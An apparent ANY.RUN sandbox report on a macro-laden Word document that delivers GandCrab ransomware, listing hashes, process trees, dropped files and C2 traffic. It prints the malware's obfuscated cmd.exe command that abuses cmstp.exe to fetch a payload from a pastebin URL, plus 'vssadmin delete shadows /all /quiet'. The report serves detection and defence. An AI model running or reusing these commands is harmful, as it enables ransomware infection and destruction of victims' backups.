File name:

dea5a36ac6421ea5a79b7494d25677c90d53af4c044961b9503dadeac8c33b65.doc

Full analysis: https://app.any.run/tasks/8f58fb31-648e-4cd6-9331-81ffbe147224
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Malware Trends Tracker     >>>
Analysis date: March 21, 2019, 02:36:12
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
trojan
squiblydoo
ransomware
gandcrab
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Admin, Template: Normal, Last Saved By: Admin, Revision Number: 3, Name of Creating Application: Microsoft Office Word, Total Editing Time: 03:00, Create Time/Date: Thu Jan 31 14:52:00 2019, Last Saved Time/Date: Wed Mar 20 08:50:00 2019, Number of Pages: 1, Number of Words: 4, Number of Characters: 23, Security: 0
MD5:

CB632679B15F09F0D3040F11AD722FCB

SHA1:

DFC5843393E9CCD19B0A91FF1CC70B907A8588A3

SHA256:

DEA5A36AC6421EA5A79B7494D25677C90D53AF4C044961B9503DADEAC8C33B65

SSDEEP:

3072:wrLgZP6P77AjBNJx4WDgDBiTBEIGMqFWrdZ2TXz+rOieOnCJpPUkg:wrLq+AnJ2Wsi9EI4EbGKOsCJh

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Dropped file may contain instructions of ransomware

      • 51276.exe (PID: 2736)

    • SQUIBLYDOO was detected

      • cmstp.exe (PID: 3328)

    • Application was dropped or rewritten from another process

      • 51276.exe (PID: 2736)

    • Deletes shadow copies

      • cmd.exe (PID: 2744)

    • Actions looks like stealing of personal data

      • 51276.exe (PID: 2736)

    • Renames files like Ransomware

      • 51276.exe (PID: 2736)

    • Connects to CnC server

      • 51276.exe (PID: 2736)

    • Changes settings of System certificates

      • 51276.exe (PID: 2736)

    • GANDCRAB detected

      • 51276.exe (PID: 2736)

    • Writes file to Word startup folder

      • 51276.exe (PID: 2736)

  • SUSPICIOUS

    • Creates files in the user directory

      • cmd.exe (PID: 2740)
      • cmstp.exe (PID: 3328)
      • 51276.exe (PID: 2736)

    • Executable content was dropped or overwritten

      • cmstp.exe (PID: 3328)

    • Creates files in the program directory

      • 51276.exe (PID: 2736)

    • Reads the cookies of Mozilla Firefox

      • 51276.exe (PID: 2736)

    • Adds / modifies Windows certificates

      • 51276.exe (PID: 2736)

    • Starts CMD.EXE for commands execution

      • 51276.exe (PID: 2736)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1052)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1052)

    • Dropped object may contain Bitcoin addresses

      • 51276.exe (PID: 2736)

    • Dropped object may contain TOR URL's

      • 51276.exe (PID: 2736)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: Admin
Keywords: -
Comments: -
Template: Normal
LastModifiedBy: Admin
RevisionNumber: 3
Software: Microsoft Office Word
TotalEditTime: 3.0 minutes
CreateDate: 2019:02:28 14:52:00
ModifyDate: 2019:03:20 08:50:00
Pages: 1
Words: 4
Characters: 23
Security: None
CodePage: Windows Latin 1 (Western European)
Company:
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 26
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
7
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs cmd.exe no specs #SQUIBLYDOO cmstp.exe #GANDCRAB 51276.exe cmd.exe vssadmin.exe no specs vssvc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1052"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\dea5a36ac6421ea5a79b7494d25677c90d53af4c044961b9503dadeac8c33b65.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
2004vssadmin delete shadows /all /quietC:\Windows\system32\vssadmin.exe—cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Command Line Interface for Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\vssadmin.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\atl.dll
2500C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\vssvc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2736"C:\Users\admin\AppData\Roaming\Microsoft\51276.exe" C:\Users\admin\AppData\Roaming\Microsoft\51276.exe
cmstp.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\roaming\microsoft\51276.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2740cmd /V /C set "u90=s" && !u90!et "u52=\" && !u90!et "u92=e" && !u90!et "u3=i" && !u90!et "u44=A" && !u90!et "u7=N" && !u90!et "u6=d" && c!u44!ll !u90!et "u62=%!u44!PP!u6!!u44!T!u44!%" && c!u44!ll !u90!et "u82=%R!u44!!u7!!u6!OM%" && !u90!et "u87=!u62!!u52!M!u3!cro!u90!oft!u52!T!u92!mplat!u92!s!u52!!u82!.txt" && !u90!et "u2="^" && (For %i in ("[v!u92!r!u90!ion]" "!u90!ignatur!u92!=$Wi!u7!dow!u90! NTf7f81a39-5f63-5b42-9efd-1f13b5431005quot; "[D!u92!faultIn!u90!tall_Singl!u92!U!u90!er]" "UnR!u92!gi!u90!t!u92!rOCXs=u21" "[u21]" "%11%\%u0_1%%u0_2%%u0_3%,NI,%u_1%%u_2%%u_3%%u_4%%u_5%%u_6%%u_7%%u_8%%u_9%%u_10%%u_11%%u_12%%u_13%%u_14%%u_15%%u_16%" "[!u90!tring!u90!]" "u_1=ht" "u_2=tp" "u_3=:/" "u_4=/p" "u_5=as" "u_6=te" "u_7=bi" "u_8=n." "u_9=co" "u_10=m/" "u_11=ra" "u_12=w/" "u_13=Lw" "u_14=mR" "u_15=5A" "u_16=x3" "u0_2=rO" "u0_1=sC" "u0_3=bJ" ) do @echo %~i)>"!u87!" && echo !u90!erv!u3!ceNam!u92!=!u2! !u2!>>!u87! && echo !u90!hortSvcN!u44!me=!u2! !u2!>>!u87! && c!u44!ll !u90!et "u5=%WI!u7!!u6!IR%" && !u90!t!u44!rt "" !u5!!u52!Sy!u90!t!u92!m32!u52!cm!u90!tp.!u92!x!u92! /s /ns "!u87!"C:\Windows\system32\cmd.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2744"C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quietC:\Windows\system32\cmd.exe
51276.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3328C:\Windows\System32\cmstp.exe /s /ns "C:\Users\admin\AppData\Roaming\Microsoft\Templates\24237.txt"C:\Windows\System32\cmstp.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile Installer
Exit code:
0
Version:
7.02.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\cmstp.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
Total events
1 584
Read events
1 182
Write events
397
Delete events
5

Modification events

(PID) Process:(1052) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:<}5
Value:
3C7D35001C040000010000000000000000000000
(PID) Process:(1052) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(1052) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(1052) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1316290590
(PID) Process:(1052) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1316290704
(PID) Process:(1052) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1316290705
(PID) Process:(1052) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
1C040000800260E28EDFD40100000000
(PID) Process:(1052) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:$~5
Value:
247E35001C04000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(1052) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:$~5
Value:
247E35001C04000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(1052) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
1
Suspicious files
420
Text files
323
Unknown types
19

Dropped files

PID
Process
Filename
Type
1052WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR890D.tmp.cvr —
MD5:—
SHA256:—
1052WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF29BDEF2F8DECB595.TMP —
MD5:—
SHA256:—
273651276.exeC:\Users\BXNCT-MANUAL.txttext
MD5:—
SHA256:—
1052WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5CE4B639.wmfwmf
MD5:—
SHA256:—
273651276.exeC:\$Recycle.Bin\S-1-5-21-1302019708-1500728564-335382590-1000\BXNCT-MANUAL.txttext
MD5:—
SHA256:—
273651276.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\boot.sdi —
MD5:—
SHA256:—
273651276.exeC:\PerfLogs\BXNCT-MANUAL.txttext
MD5:—
SHA256:—
273651276.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim.bxnct —
MD5:—
SHA256:—
3328cmstp.exeC:\Users\admin\AppData\Roaming\Microsoft\51276.exeexecutable
MD5:—
SHA256:—
273651276.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
2
Threats
8

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3328
cmstp.exe
GET
200
104.20.208.21:80
http://pastebin.com/raw/LwmR5Ax3
US
xml
206 Kb
malicious
2736
51276.exe
GET
301
107.173.49.208:80
http://www.kakaocorp.link/
US
html
162 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2736
51276.exe
107.173.49.208:80
www.kakaocorp.link
ColoCrossing
US
malicious
2736
51276.exe
107.173.49.208:443
www.kakaocorp.link
ColoCrossing
US
malicious
3328
cmstp.exe
104.20.208.21:80
pastebin.com
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.208.21
  • 104.20.209.21
malicious
www.kakaocorp.link
  • 107.173.49.208
malicious

Threats

PID
Process
Class
Message
3328
cmstp.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
3328
cmstp.exe
A Network Trojan was detected
MALWARE [PTsecurity] Squiblydoo Scriptlet
2736
51276.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
2736
51276.exe
A Network Trojan was detected
MALWARE [PTsecurity] Blacklisted GandCrab Ransomware C2 Server
2736
51276.exe
A Network Trojan was detected
MALWARE [PTsecurity] GandCrab v.5 SSL Connection
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
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Reports
dea5a36ac6421ea5a79b7494d25677c90d53af4c044961b9503dadeac8c33b65.doc